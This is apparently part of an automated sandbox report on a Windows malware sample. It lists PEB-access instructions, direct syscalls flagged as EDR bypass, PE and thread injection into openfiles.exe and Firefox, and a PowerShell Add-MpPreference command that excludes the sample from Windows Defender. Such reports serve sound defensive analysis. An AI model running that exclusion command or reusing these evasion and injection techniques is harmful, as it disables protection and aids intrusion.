Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188C97C mov eax, dword ptr fs:[00000030h]	3_2_0188C97C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01800887 mov eax, dword ptr fs:[00000030h]	3_2_01800887
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188C89D mov eax, dword ptr fs:[00000030h]	3_2_0188C89D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182E8C0 mov eax, dword ptr fs:[00000030h]	3_2_0182E8C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CA8E4 mov eax, dword ptr fs:[00000030h]	3_2_018CA8E4
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183C8F9 mov eax, dword ptr fs:[00000030h]	3_2_0183C8F9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183C8F9 mov eax, dword ptr fs:[00000030h]	3_2_0183C8F9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188C810 mov eax, dword ptr fs:[00000030h]	3_2_0188C810
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A483A mov eax, dword ptr fs:[00000030h]	3_2_018A483A
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A483A mov eax, dword ptr fs:[00000030h]	3_2_018A483A
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183A830 mov eax, dword ptr fs:[00000030h]	3_2_0183A830
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01822835 mov eax, dword ptr fs:[00000030h]	3_2_01822835
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01822835 mov eax, dword ptr fs:[00000030h]	3_2_01822835
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01822835 mov eax, dword ptr fs:[00000030h]	3_2_01822835
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01822835 mov ecx, dword ptr fs:[00000030h]	3_2_01822835
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01822835 mov eax, dword ptr fs:[00000030h]	3_2_01822835
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01822835 mov eax, dword ptr fs:[00000030h]	3_2_01822835
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01812840 mov ecx, dword ptr fs:[00000030h]	3_2_01812840
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01830854 mov eax, dword ptr fs:[00000030h]	3_2_01830854
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01804859 mov eax, dword ptr fs:[00000030h]	3_2_01804859
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01804859 mov eax, dword ptr fs:[00000030h]	3_2_01804859
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01896870 mov eax, dword ptr fs:[00000030h]	3_2_01896870
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01896870 mov eax, dword ptr fs:[00000030h]	3_2_01896870
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188E872 mov eax, dword ptr fs:[00000030h]	3_2_0188E872
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188E872 mov eax, dword ptr fs:[00000030h]	3_2_0188E872
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FCB7E mov eax, dword ptr fs:[00000030h]	3_2_017FCB7E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B4BB0 mov eax, dword ptr fs:[00000030h]	3_2_018B4BB0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B4BB0 mov eax, dword ptr fs:[00000030h]	3_2_018B4BB0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810BBE mov eax, dword ptr fs:[00000030h]	3_2_01810BBE
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810BBE mov eax, dword ptr fs:[00000030h]	3_2_01810BBE
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01820BCB mov eax, dword ptr fs:[00000030h]	3_2_01820BCB
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01820BCB mov eax, dword ptr fs:[00000030h]	3_2_01820BCB
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01820BCB mov eax, dword ptr fs:[00000030h]	3_2_01820BCB
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01800BCD mov eax, dword ptr fs:[00000030h]	3_2_01800BCD
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01800BCD mov eax, dword ptr fs:[00000030h]	3_2_01800BCD
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01800BCD mov eax, dword ptr fs:[00000030h]	3_2_01800BCD
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AEBD0 mov eax, dword ptr fs:[00000030h]	3_2_018AEBD0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01808BF0 mov eax, dword ptr fs:[00000030h]	3_2_01808BF0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01808BF0 mov eax, dword ptr fs:[00000030h]	3_2_01808BF0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01808BF0 mov eax, dword ptr fs:[00000030h]	3_2_01808BF0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188CBF0 mov eax, dword ptr fs:[00000030h]	3_2_0188CBF0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182EBFC mov eax, dword ptr fs:[00000030h]	3_2_0182EBFC
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187EB1D mov eax, dword ptr fs:[00000030h]	3_2_0187EB1D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187EB1D mov eax, dword ptr fs:[00000030h]	3_2_0187EB1D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187EB1D mov eax, dword ptr fs:[00000030h]	3_2_0187EB1D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187EB1D mov eax, dword ptr fs:[00000030h]	3_2_0187EB1D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187EB1D mov eax, dword ptr fs:[00000030h]	3_2_0187EB1D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187EB1D mov eax, dword ptr fs:[00000030h]	3_2_0187EB1D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187EB1D mov eax, dword ptr fs:[00000030h]	3_2_0187EB1D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187EB1D mov eax, dword ptr fs:[00000030h]	3_2_0187EB1D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187EB1D mov eax, dword ptr fs:[00000030h]	3_2_0187EB1D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182EB20 mov eax, dword ptr fs:[00000030h]	3_2_0182EB20
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182EB20 mov eax, dword ptr fs:[00000030h]	3_2_0182EB20
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C8B28 mov eax, dword ptr fs:[00000030h]	3_2_018C8B28
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C8B28 mov eax, dword ptr fs:[00000030h]	3_2_018C8B28
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B4B4B mov eax, dword ptr fs:[00000030h]	3_2_018B4B4B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018B4B4B mov eax, dword ptr fs:[00000030h]	3_2_018B4B4B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A8B42 mov eax, dword ptr fs:[00000030h]	3_2_018A8B42
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01896B40 mov eax, dword ptr fs:[00000030h]	3_2_01896B40
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01896B40 mov eax, dword ptr fs:[00000030h]	3_2_01896B40
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CAB40 mov eax, dword ptr fs:[00000030h]	3_2_018CAB40
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AEB50 mov eax, dword ptr fs:[00000030h]	3_2_018AEB50
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180EA80 mov eax, dword ptr fs:[00000030h]	3_2_0180EA80
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180EA80 mov eax, dword ptr fs:[00000030h]	3_2_0180EA80
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180EA80 mov eax, dword ptr fs:[00000030h]	3_2_0180EA80
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180EA80 mov eax, dword ptr fs:[00000030h]	3_2_0180EA80
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180EA80 mov eax, dword ptr fs:[00000030h]	3_2_0180EA80
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180EA80 mov eax, dword ptr fs:[00000030h]	3_2_0180EA80
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180EA80 mov eax, dword ptr fs:[00000030h]	3_2_0180EA80
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180EA80 mov eax, dword ptr fs:[00000030h]	3_2_0180EA80
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180EA80 mov eax, dword ptr fs:[00000030h]	3_2_0180EA80
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018D4A80 mov eax, dword ptr fs:[00000030h]	3_2_018D4A80
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01838A90 mov edx, dword ptr fs:[00000030h]	3_2_01838A90
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01808AA0 mov eax, dword ptr fs:[00000030h]	3_2_01808AA0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01808AA0 mov eax, dword ptr fs:[00000030h]	3_2_01808AA0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01856AA4 mov eax, dword ptr fs:[00000030h]	3_2_01856AA4
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01856ACC mov eax, dword ptr fs:[00000030h]	3_2_01856ACC
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01856ACC mov eax, dword ptr fs:[00000030h]	3_2_01856ACC
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01856ACC mov eax, dword ptr fs:[00000030h]	3_2_01856ACC
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01800AD0 mov eax, dword ptr fs:[00000030h]	3_2_01800AD0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01834AD0 mov eax, dword ptr fs:[00000030h]	3_2_01834AD0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01834AD0 mov eax, dword ptr fs:[00000030h]	3_2_01834AD0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183AAEE mov eax, dword ptr fs:[00000030h]	3_2_0183AAEE
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183AAEE mov eax, dword ptr fs:[00000030h]	3_2_0183AAEE
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188CA11 mov eax, dword ptr fs:[00000030h]	3_2_0188CA11
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183CA24 mov eax, dword ptr fs:[00000030h]	3_2_0183CA24
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182EA2E mov eax, dword ptr fs:[00000030h]	3_2_0182EA2E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01824A35 mov eax, dword ptr fs:[00000030h]	3_2_01824A35
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01824A35 mov eax, dword ptr fs:[00000030h]	3_2_01824A35
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01806A50 mov eax, dword ptr fs:[00000030h]	3_2_01806A50
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01806A50 mov eax, dword ptr fs:[00000030h]	3_2_01806A50
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01806A50 mov eax, dword ptr fs:[00000030h]	3_2_01806A50
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01806A50 mov eax, dword ptr fs:[00000030h]	3_2_01806A50
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01806A50 mov eax, dword ptr fs:[00000030h]	3_2_01806A50
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01806A50 mov eax, dword ptr fs:[00000030h]	3_2_01806A50
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01806A50 mov eax, dword ptr fs:[00000030h]	3_2_01806A50
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810A5B mov eax, dword ptr fs:[00000030h]	3_2_01810A5B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01810A5B mov eax, dword ptr fs:[00000030h]	3_2_01810A5B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AEA60 mov eax, dword ptr fs:[00000030h]	3_2_018AEA60
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183CA6F mov eax, dword ptr fs:[00000030h]	3_2_0183CA6F
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183CA6F mov eax, dword ptr fs:[00000030h]	3_2_0183CA6F
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183CA6F mov eax, dword ptr fs:[00000030h]	3_2_0183CA6F
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187CA72 mov eax, dword ptr fs:[00000030h]	3_2_0187CA72
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187CA72 mov eax, dword ptr fs:[00000030h]	3_2_0187CA72
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018D4DAD mov eax, dword ptr fs:[00000030h]	3_2_018D4DAD
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C8DAE mov eax, dword ptr fs:[00000030h]	3_2_018C8DAE
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C8DAE mov eax, dword ptr fs:[00000030h]	3_2_018C8DAE
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01836DA0 mov eax, dword ptr fs:[00000030h]	3_2_01836DA0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183CDB1 mov ecx, dword ptr fs:[00000030h]	3_2_0183CDB1
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183CDB1 mov eax, dword ptr fs:[00000030h]	3_2_0183CDB1
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183CDB1 mov eax, dword ptr fs:[00000030h]	3_2_0183CDB1
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01828DBF mov eax, dword ptr fs:[00000030h]	3_2_01828DBF
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01828DBF mov eax, dword ptr fs:[00000030h]	3_2_01828DBF

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\IETC-24017.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\IETC-24017.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\IETC-24017.exe"
Source: C:\Users\user\Desktop\IETC-24017.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\IETC-24017.exe"			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\IETC-24017.exe

Memory written: C:\Users\user\Desktop\IETC-24017.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: NULL target: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: NULL target: C:\Windows\SysWOW64\openfiles.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: NULL target: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: NULL target: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\openfiles.exe

Thread register set: target process: 7732

Source: C:\Users\user\Desktop\IETC-24017.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\IETC-24017.exe"	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process created: C:\Users\user\Desktop\IETC-24017.exe "C:\Users\user\Desktop\IETC-24017.exe"	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Process created: C:\Windows\SysWOW64\openfiles.exe "C:\Windows\SysWOW64\openfiles.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: UFUUPGsATdE.exe, 00000006.00000000.1744026689.00000000017A0000.00000002.00000001.00040000.00000000.sdmp, UFUUPGsATdE.exe, 00000006.00000002.4124546108.00000000017A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: UFUUPGsATdE.exe, 00000006.00000000.1744026689.00000000017A0000.00000002.00000001.00040000.00000000.sdmp, UFUUPGsATdE.exe, 00000006.00000002.4124546108.00000000017A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: UFUUPGsATdE.exe, 00000006.00000000.1744026689.00000000017A0000.00000002.00000001.00040000.00000000.sdmp, UFUUPGsATdE.exe, 00000006.00000002.4124546108.00000000017A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: UFUUPGsATdE.exe, 00000006.00000000.1744026689.00000000017A0000.00000002.00000001.00040000.00000000.sdmp, UFUUPGsATdE.exe, 00000006.00000002.4124546108.00000000017A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Users\user\Desktop\IETC-24017.exe VolumeInformation	Jump to behavior
